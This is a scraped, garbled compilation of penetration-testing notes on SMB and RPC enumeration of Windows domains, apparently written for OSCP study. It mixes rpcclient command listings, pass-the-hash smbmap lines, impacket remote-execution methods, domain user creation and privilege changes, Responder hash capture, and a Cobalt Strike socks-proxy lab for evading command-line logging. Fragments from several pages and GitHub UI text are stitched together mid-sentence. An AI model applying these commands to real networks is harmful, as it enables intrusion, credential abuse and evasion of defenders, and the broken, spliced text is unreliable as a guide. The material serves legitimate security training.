What permissions must be assigned to the newly created files? That command reveals the SIDs for different users on the domain. # You will be asked for a password but leave it blank and press enter to continue. In there you may, many different batch, VBScript, and PowerShell, using some discovered credentials. Another command to use is the enumdomusers. deletedomuser Delete domain user Hashes work. getdriver Get print driver information | Current user access: READ/WRITE It can be done with the help of the createdomuser command with the username that you want to create as a parameter. The below shows traffic captures that illustrate that the box 10.0.0.2 enumerates 10.0.0.7 using SMB traffic only: Below further proves that the box 10.0.0.2 (WS01 which acted as proxy) did not generate any sysmon logs and the target box 10.0.0.7 (WS02) logged a couple of events, that most likely would not attract much attention from the blue teams: Note how only the SMB traffic between the compromised system and the DC is generated, but no new processes are spawned by the infected. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon, # You can also use samrdump.py for this purpose, Enumerate trusted domains within an AD forest. enumdata Enumerate printer data --------------- ---------------------- After that command was run, rpcclient will give you the most excellent "rpcclient> " prompt. A null session is a connection with a samba or SMB server that does not require authentication with a password. This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-500 Created with Xmind. On most Linuxes, we have tab auto-complete of commands, which extends into rpcclient commands. This means that the attacker can now use proxychains to proxy traffic from their kali box through the beacon to the target (attacker ---> beacon ---> end target). When provided the username, it extracts information such as the username, Full name, Home Drive, Profile Path, Description, Logon Time, Logoff Time, Password set time, Password Change Frequency, RID, Groups, etc. While having some privileges it is also possible to create a user within the domain using the rpcclient. so lets run rpcclient with no options to see whats available: SegFault:~ cg$ rpcclient netfileenum Enumerate open files The name is derived from the enumeration of domain groups. RPC is built on Microsofts COM and DCOM technologies. |_ https://technet.microsoft.com/en-us/library/security/ms06-025.aspx Are you sure you want to create this branch? result was NT_STATUS_NONE_MAPPED lookupdomain Lookup Domain Name If you're having trouble getting the version from the usual methods, you might have to use wireshark or tcpdump to inspect the packets. These commands should only be used for educational purposes or authorised testing. Might ask for password. It can be observed that the os version seems to be 10.0. Code Execution. LEWISFAMILY Wk Sv PrQ Unx NT SNT Mac OS X A Little Guide to SMB Enumeration. It is possible to enumerate the SAM data through the rpcclient as well. This is purely my experience with CTFs, Tryhackme, Vulnhub, and Hackthebox prior to enrolling in OSCP. Once proxychains are configured, the attacker can start enumerating the AD environment through the beacon like so: Moving on, same way, they can query info about specific AD users: Enumerate current user's privileges and many more (consult rpcclient for all available commands): Finally, of course they can run nmap if needed: Impacket provides even more tools to enumerate remote systems through compromised boxes. I found one guy running OS X 10.4 with Samba running and one guy running Ubuntu with Samba running, oh and also one guy running XP SP0/1 vulnerable to DCOM (wont even go down that road). | Disclosure date: 2006-6-27 Test. getdispname Get the privilege name SAMR RPC or Remote Procedure Call is a service that helps establish and maintain communication between different Windows Applications. This command was able to enumerate two specific privileges such as SeChangeNotiftyPrivielge and SeNetworkLogonRight privilege. With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. getdompwinfo Retrieve domain password info Most of the Corporate offices dont want their employees to use USB sticks or other mediums to share files and data among themselves. Description. IPC$ NO ACCESS Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. | Anonymous access: In general, the rpcclient can be used to connect to the SMB protocol as well. rpcclient (if 111 is also open) NSE scripts. | Comment: This is made from the words get domain password information. In our previous attempt to enumerate SID, we used the lsaenumsid command. *[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &, echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null. You can indicate which option you prefer to use with the parameter, # Using --exec-method {mmcexec,smbexec,atexec,wmiexec}, via SMB) in the victim machine and use it to, it is located on /usr/share/doc/python3-impacket/examples/, #If no password is provided, it will be prompted, Stealthily execute a command shell without touching the disk or running a new service using DCOM via, #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted, Execute commands via the Task Scheduler (using, https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/, #Get usernames bruteforcing that rids and then try to bruteforce each user name, This attack uses the Responder toolkit to. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1014 You signed in with another tab or window. [DATA] attacking service smb on port 139 --------------- ---------------------- This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). This is an approach I came up with while researching on offensive security. The hash can then be cracked offline or used in an. Enumerate Domain Users. All rights reserved. oscp pwk enumeration smb nmblookup smbclient rpcclient nmap enum4linux smbmap dfsenum Enumerate dfs shares -U, --user=USERNAME Set the network username lewis S-1-5-21-1835020781-2383529660-3657267081-2002 (User: 1) Disclaimer: These notes are not in the context of any machines I had during the OSCP lab or exam. --------------- ---------------------- (MS)RPC. This will help in getting the information such as the kind of password policies that have been enforced by the Administrator in the domain. MAC Address = 00-50-56-XX-XX-XX, [+] Finding open SMB ports. MAC Address: 00:50:56:XX:XX:XX (VMware) --------------- ---------------------- -N, --no-pass Don't ask for a password Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default To enumerate the Password Properties on the domain, the getdompwinfo command can be used. --------------- ---------------------- great when smbclient doesnt work A collection of commands and tools used for conducting enumeration during my OSCP journey. rpcclient $> help -S, --signing=on|off|required Set the client signing state exit takes care of any password request that might pop up, since were checking for null login. With --pw-nt-hash, the pwd provided is the NT hash, #Use --no-pass -c 'recurse;ls' to list recursively with smbclient, #List with smbmap, without folder it list everything. --------------- ---------------------- A collection of commands and tools used for conducting enumeration during my OSCP journey. New Folder (9) D 0 Sun Dec 13 05:26:59 2015 # lines. The group information helps the attacker to plan their way to the Administrator or elevated access. In the demonstration, a user hacker is created with the help of a createdomuser and then a password is provided to it using the setuserinfo2 command. May need to run a second time for success. SaPrintOp 0:65283 (0x0:0xff03). When provided with the username to the samlookupnames command, it can extract the RID of that particular user. The ability to interact with privileges doesnt end with the enumeration regarding the SID or privileges. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004 Some of these commands are based on those executed by the Autorecon tool. setdriver Set printer driver In this article, we were able to enumerate a wide range of information through the SMB and RPC channel inside a domain using the rpcclient tool. Can be Contacted onTwitterandLinkedIn, All Rights Reserved 2021 Theme: Prefer by, Windows Privilege Escalation: DnsAdmins to DomainAdmin. Further, when the attacker used the same SID as a parameter for lsaenumprivaccount, they were able to enumerate the levels of privileges such as high, low, and attribute. smbmap -u '' -p '' -H $ip # similar to crackmapexec --shares, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -r # list top level dir, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -R # list everything recursively, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '. D 0 Thu Sep 27 16:26:00 2018 to access through Web; FTP to file upload ==> Execute from web == webshell ; Password Checking if you found with other enum. object in the NAME_DOMAIN.LOCAL domain and you will never see this paired value tied to another object in this domain or any other. Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). But sometimes these don't yield any interesting results. It is possible to target the group using the RID that was extracted while running the enumdomgroup. | State: VULNERABLE -n, --netbiosname=NETBIOSNAME Primary netbios name Start by typing "enum" at the prompt and hitting <tab><tab>: rpcclient $> enum enumalsgroups enumdomains enumdrivers enumkey enumprivs enumdata enumdomgroups enumforms enumports enumtrust enumdataex enumdomusers enumjobs enumprinter. samlogon Sam Logon Connect to wwwroot share (try blank password), Nmap scans for SMB vulnerabilities (NB: can cause DoS), Enumerate SNMP device (places info in readable format), Enumerate file privileges (see here for discussion of file_priv), Check if current user superuser (on = yes, off = no), Check users privileges over table (pg_shadow). rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-502 SMB2 Windows Vista SP1 and Windows 2008, nmap -n -v -Pn -p139,445 -sV 192.168.0.101, smbclient -L \\$ip --option='client min protocol=NT1', # if getting error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED", # Will list all shares with available permissions, smbmap -u jsmith -p password1 -d workgroup -H 192.168.0.1, nmap --script smb-enum-shares -p 139,445 $ip, smbclient \\\\192.168.1.101\\C$ --option='client min protocol=NT1', smbclient \\\\192.168.1.101\\admin$ -U t-skid, # Connect with valid username and password, smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '. It accepts the group name as a parameter. quit Exit program ECHO March 8, 2021 by Raj Chandel. | account_used: guest Red Team Infrastructure. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2001 Honor privileges assigned to specific SID? rpcclient $> lookupnames root In this lab, it is assumed that the attacker/operator has gained: The below shows a couple of things. It contains contents from other blogs for my quick reference, * nmap -sV --script=vulscan/vulscan.nse (https://securitytrails.com/blog/nmap-vulnerability-scan), masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports, ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//'), nmap -Pn -sC -sV --script=vuln*.nse -p$ports 10.10.10.x -T5 -A, (performs full scan instead of syn-scan to prevent getting flagged by firewalls), From Apache Version to finding Ubuntu version -> ubuntu httpd versions, : Private key that is used for login. share Disk result was NT_STATUS_NONE_MAPPED [+] IP: [ip]:445 Name: [ip] SYSVOL NO ACCESS, [+] Finding open SMB ports. samlookupnames Look up names OSCP notes: ACTIVE INFORMATION GATHERING. shutdownabort Abort Shutdown (over shutdown pipe) This command helps the attacker enumerate the security objects or permissions and privileges related to the security as demonstrated below. It contains contents from other blogs for my quick reference Hydra v5.1 (c) 2005 by van Hauser / THC - use allowed only for legal purposes. | References: |_smb-vuln-ms10-061: false -k, --kerberos Use kerberos (active directory) *[[:digit:]]' port 139 in one terminal and then echo exit | smbclient -L [IP] in another will dump out a bunch of info including the version. Moving on, same way, they can query info about specific AD users: Enumerate current user's privileges and many more (consult rpcclient for all available commands): Finally, of course they can run nmap if needed: Impacket provides even more tools to enumerate remote systems through compromised boxes. The connection uses. Are you sure you want to create this branch? The ability to manipulate a user doesnt end with creating a user or changing the password of a user. [Original] As Ive been working through PWK/OSCP for the last month, one thing Ive noticed is that enumeration of SMB is tricky, and different tools fail / succeed on different hosts. proxychains nmap -sTV -n -PN -p 80,22 target-ip -vv. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! is SMB over Ip. | Anonymous access: From the demonstration, it can be observed that the domain that is being enumerated is IGNITE. Enumerating Active Directory Using RPCClientInformation about password levels can be found using this MSDN article.https://docs.microsoft.com/en-us/openspecs. exit Exit program 139/tcp open netbios-ssn If this information does not appear in other used tools, you can: # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. | grep -oP 'UnixSamba. The createdomgroup command is to be used to create a group. {% code-tabs-item title="attacker@cobaltstrike" %}, {% endcode-tabs-item %} Enter WORKGROUP\root's password: dfsexist Query DFS support 1080 - Pentesting Socks. Replication READ ONLY As with the lsaenumsid, it was possible to extract the SID but it was not possible to tell which user has that SID. MSRPC was originally derived from open source software but has been developed further and copyrighted by . On other systems, youll find services and applications using port 139. server type : 0x9a03. How I Won 90 Days OSCP Lab Voucher for Free, https://github.com/s0wr0b1ndef/OSCP-note/, These notes are not in the context of any machines I had during the OSCP lab or exam. | smb-enum-shares: The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: Which are used by some browsers and tools (like Skype), From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html, Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. *', # download everything recursively in the wwwroot share to /usr/share/smbmap. schannel Force RPC pipe connections to be sealed with 'schannel' (NETSEC). This is what happens - attacker (10.0.0.5) uses proxychains with impacket's reg utility to retrieve the hostname of the box at 10.0.0.7 (WS02) via the compromised (CS beacon) box 10.0.0.2 (WS01): keyName hklm\system\currentcontrolset\control\computername\computername. Heres an example Unix Samba 2.2.3a: Windows SMB is more complex than just a version, but looking in wireshark will give a bunch of information about the connection. rpcclient is a part of the Samba suite on Linux distributions. Next, we have two query-oriented commands. Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources such as printers, routers, or interfaces released for the network.The main application area of the protocol has been the Windows operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that . While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. lsaenumsid Enumerate the LSA SIDS | Comment: After verifying that the privilege was added using the lsaenumprivaccount command, we removed the privileges from the user using the lsaremoveacctrights command. result was NT_STATUS_NONE_MAPPED | RRAS Memory Corruption vulnerability (MS06-025) SRVSVC rpcclient $> lookupnames guest The lsaaddacctrights command can be used to add privileges to a user based on their SID. -P, --machine-pass Use stored machine account password One of the first enumeration commands to be demonstrated here is the srvinfo command. querygroupmem Query group membership IPC$ NO ACCESS Since the user and password-related information is stored inside the SAM file of the Server. # lines. queryusergroups Query user groups Replication READ ONLY In the previous demonstration, the attacker was able to provide and remove privileges to a group. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1007 method. Most secure. platform_id : 500 ADMIN$ Disk Remote Admin | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx none Force RPC pipe connections to have no special properties, Lets play with a few options: If the permissions allow, an attacker can delete a group as well. GENERAL OPTIONS These privileges can help the attacker plan for elevating privileges on the domain. May need to run a second time for success. In the demonstration, it can be observed that lsaenumsid has enumerated 20 SIDs within the Local Security Authority or LSA. Ill include examples, but where I use PWK labs, Ill anonymize the data per their rules. Many system administrators have now written scripts around it to manage Windows NT clients from their UNIX workstation. SYSVOL READ ONLY, Enter WORKGROUP\root's password: Reverse Shell. Thus it might be worth a short to try to manually connect to a share. queryuser Query user info | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) In this specific demonstration, there are a bunch of users that include Administrator, yashika, aarti, raj, Pavan, etc. In the demonstration below, the attacker chooses S-1-1-0 SID to enumerate. Reconnecting with SMB1 for workgroup listing. To do this first, the attacker needs a SID.
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